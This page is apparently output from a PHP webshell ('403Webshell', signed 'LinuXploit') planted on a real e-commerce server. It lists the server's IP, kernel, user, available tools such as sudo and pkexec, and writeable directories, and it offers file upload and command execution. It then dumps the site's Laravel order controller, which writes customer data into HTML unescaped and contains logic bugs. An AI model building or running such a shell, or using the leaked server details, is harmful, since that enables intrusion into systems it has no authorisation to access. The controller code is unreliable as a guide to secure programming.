403Webshell
Server IP : 103.161.17.216  /  Your IP : 216.73.216.1
Web Server : nginx/1.18.0
System : Linux tipsysaigoncharming 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/dinhphuongdong.com/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/dinhphuongdong.com/app/Http/Controllers//OrderController.php
<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\Feeship;
use App\Models\Shipping;
use App\Models\Customer;
use App\Models\Product;
use App\Models\Attr;
use App\Models\Order;
use App\Models\Coupon;
use App\Models\OrderDetails;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Session;
use Illuminate\Support\Facades\Redirect; 
use App\Http\Controllers\Controller;
use Cart;
use PDF;
use App;
session_start();

class OrderController extends Controller
{
    



    public function print_order($checkout_code)
    {
       $pdf = App::make('dompdf.wrapper');
       $pdf->loadHTML($this->print_order_conver($checkout_code));
       return $pdf->stream();
    }

    public function print_order_conver($checkout_code){


        $order_details = OrderDetails::with('product')->where('order_code',$checkout_code)->get();
        
        $order=Order::where('order_code',$checkout_code)->get();
        foreach ($order as $key=>$ord){
        $customer_id = $ord->customer_id;
        $shipping_id = $ord->shipping_id;
        $created=$ord->created_at;
         }
        $customer=Customer::where('customer_id',$customer_id)->first();
        $shipping=Shipping::where('shipping_id',$shipping_id)->get();

        foreach($order_details as $key=> $ordt)
        {

            $order_code=$ordt->order_code;
            $product_name=$ordt->product_name;
            $product_price=$ordt->product_price;
            $product_sales_quantity=$ordt->product_sales_quantity;
            


         }      
 
        $output='';

        $output.=' 

  <html lang="en">
  <head>
    <meta charset="utf-8">
  </head>
  <body>
    <header class="clearfix">
      <div id="logo"> 
      <img src="https://192.168.64.4/shopbanhang/public/backend/images/logo.png">
      </div>
      <div id="cb">
        <h2 class="name">DƯỠNG SINH TRÍ NHÂN</h2>
        <div>80/5 Thạnh Xuân 43, P.Thạnh Xuân, Q12</div>
        <div>0938 638 707</div>
        <div><a href="mailto:company@example.com">duongsinhtrinhan@gmail.com</a></div>
      </div>
      </div>
    </header>
    <main>';
        foreach($shipping as $key=> $ship)
        {
 
            $shipping_address=$ship->shipping_address;
            $shipping_phone=$ship->shipping_phone;
            $shipping_email=$ship->shipping_email;
            $shipping_name=$ship->shipping_name;
            $shipping_method=$ship->shipping_method;

            if($shipping_method==1)
            {
              $shipping_method= 'Thẻ ATM';
            }
            if($shipping_method==2){
              $shipping_method= 'Ví MOMO';
            }elseif($shipping_method==3){

              $shipping_method= 'COD';
            }


      $output.=' <div id="details" class="clearfix">
        <div id="client">
          <div class="to">ĐƠN ĐẶT HÀNG:</div>
          <h2 class="name">'.$shipping_name.'</h2>
          <div class="address">'.$shipping_address.'</div>
          <div class="email">'.$shipping_phone.'</div>
           <div class="email">'.$shipping_email.'</div>
            <div class="email">LOẠI THANH TOÁN: '.$shipping_method.'</div>
        </div>';
    }

    $output.='    <div id="invoice">
          <h3>MÃ ĐƠN HÀNG '.$order_code.'</h3>
          <div class="date">Ngày Đặt hàng: '.$created.'</div>
          <div class="date">Ngày Giao hàng: </div>
        </div>
      </div>
      <table border="0" cellspacing="0" cellpadding="5">
        <thead>
          <tr>
            <th class="no">#</th>
            <th class="desc">TÊN SẢN PHẨM </th>
            <th class="unit">GIÁ TIỀN </th>
            <th class="qty">SỐ LƯỢNG </th>
            <th class="total">THÀNH TIỀN</th>
          </tr>
        </thead>
        <tbody>
        ';
        $i=1;
        $total=0;
        foreach($order_details as $key=> $ordt)
        {
 
            $product_name=$ordt->product_name;
            $product_price=$ordt->product_price;
            $product_sales_quantity=$ordt->product_sales_quantity;
            $product_feeship=$ordt->product_feeship;
            $couponp = $ordt->product_coupon;
            $subtotal= $ordt->product_sales_quantity*$ordt->product_price ;
            $total +=$subtotal;

        $output.='

          <tr>
            <td class="no">'.$i++.'</td>
            <td class="desc"><h3>'.$product_name.'</h3>...</td>
            <td class="unit">'.number_format($product_price,0,',','.').'đ</td>
            <td class="qty">'. $product_sales_quantity.'</td>
            <td class="total">'.number_format($subtotal,0,',','.').'đ</td>
          </tr>
         ';
     }

      $endtotal=$total+$product_feeship;
      $output.='
         </tbody>
        <tfoot>
          <tr>
            <td colspan="2"></td>
            <td colspan="2">TỔNG TIỀN</td>
            <td>'.number_format($total,0,',','.').'đ</td>
          </tr>
          <tr>
            <td colspan="2"> </td>
            <td colspan="2">PHÍ VẬN CHUYỂN</td>
            <td>'.number_format($product_feeship,0,',','.').'đ</td>
          </tr>';
          
          
          $coupon= Coupon::where('coupon_code',$couponp)->first();
          if(!$coupon){

           $total_coupon = 0;
           $output.='<tr>
            <td colspan="2"></td>
            <td colspan="2">Giảm Mã </td>
            <td>Không có mã giảm</td>
          </tr>'; 
      } 
          elseif($coupon->coupon_code){
          if($coupon->coupon_condition==1){
          $output.='<tr>
            <td colspan="2"></td>
            <td colspan="2">MÃ GIẢM:'.$coupon->coupon_code.'</td>
            <td>'.$coupon->coupon_number.'%</td>
          </tr>';
          
        $total_coupon = $total*$coupon->coupon_number/100;

       $output.='<tr>
            <td colspan="2"></td>
            <td colspan="2">TIỀN GIẢM</td>
            <td>'.number_format($total_coupon,0,',','.').'đ</td>
          </tr>';
            }elseif($coupon->coupon_condition==2){
          
         $total_coupon = $coupon->coupon_number;

         $output.='<tr>
            <td colspan="2"></td>
            <td colspan="2">Giảm Mã :'.$coupon->coupon_code.'</td>
            <td>'.number_format($total_coupon,0,',','.').'đ</td>
          </tr>';   


            }
           } 
      
  $output.='<tr>
            <td colspan="2"></td>
            <td colspan="2">THÀNH TIỀN</td>
            <td>'.number_format($endtotal-$total_coupon,0,',','.').'đ</td>
          </tr>
        </tfoot>
      </table>
      <div id="thanks">Thank you!</div>
      <div id="notices">
        <div>GHI CHÚ:</div>
        <div class="notice">Hàng đổi trả trong vòng 30 ngày khi còn nguyên vẹn</div>
      </div>
    </main>
    <footer>
      Cảm ơn quý khách đã sử dụng sản phẩm của chúng tôi
    </footer>
  </body>
</html>
';


  return  $output;

    }


    public function manage_order(Request $request)
    {
        $order= Order::orderby('created_at', 'DESC')->get(); 

        return view('admin.order.manage_order')->with(compact('order'));
    }


     public function view_order($order_code){
        
       // $order_details=OrderDetails::where('order_code',$order_code)->get();
        $order_details=OrderDetails::with('product')->where('order_code',$order_code)->get();

       // Lấy Mã giảm giá 
    
        foreach ($order_details as $key=>$ordt){
        $couponp = $ordt->product_coupon;
        $product_id=$ordt->product_id;
        }
        $coupon= Coupon::where('coupon_code',$couponp)->first(); 

        $order=Order::where('order_code',$order_code)->get();
        $sku_qty=Attr::where('product_id',$product_id)->get();


        // echo "<pre>";
        // print_r($sku_qty);
        // echo "</pre>";
        foreach ($order as $key=>$ord){
        $customer_id = $ord->customer_id;
        $shipping_id = $ord->shipping_id;
         }
        $customer=Customer::where('customer_id',$customer_id)->first();
        $shipping=Shipping::where('shipping_id',$shipping_id)->first();
        

        return view('admin.order.view_order')->with(compact('order_details','order','customer','shipping','coupon','order','sku_qty'));
        
        
          }


      public function update_order_qty(Request $request){

        $data=$request->all();
        $order= Order::find($data['order_id']);
        $order->order_status=$data['order_status'];
        $order->save();
        // $order_product_id = $data['order_product_id'];
        // $quantity = $data['quantity'];
        if($order->order_status==2){

          foreach($data['order_product_id'] as $key => $product_id){

            $product=Product::find($product_id);
            $product_quantity=$product->product_quantity;
            $product_sold=$product->product_sold;

          
            foreach($data['quantity'] as $key1=>$qty){

              if($key==$key1){

                $pro_remain=$product_quantity - $qty;
                $product->product_quantity = $pro_remain;
                $product->product_sold=$product->$product_sold +$qty;
                $product->save();

              }


            }


          }

        }



      }


      




}

Youez - 2016 - github.com/yon3zu
LinuXploit